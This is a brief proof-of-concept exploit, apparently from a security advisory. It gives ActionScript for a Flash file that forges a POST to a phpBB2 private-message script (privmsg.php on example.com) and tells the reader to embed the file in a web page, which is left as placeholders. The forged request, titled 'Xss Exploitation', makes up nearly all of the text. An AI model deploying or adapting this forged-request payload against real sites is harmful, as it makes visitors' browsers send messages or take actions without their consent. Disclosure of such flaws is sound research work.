Create a Shockwave Flash file with this code:
var username:String = "user_that_doesnt_exist";
var subject:String = "Xss Exploitation";
var message:String = "";
var folder:String = "inbox";
var mode:String = "post";
var post:String = "Submit";
getURL("http://www.example.com/phpBB2/privmsg.php", "_self", "POST");
Put it into a web page:
Put a title here
Put some text here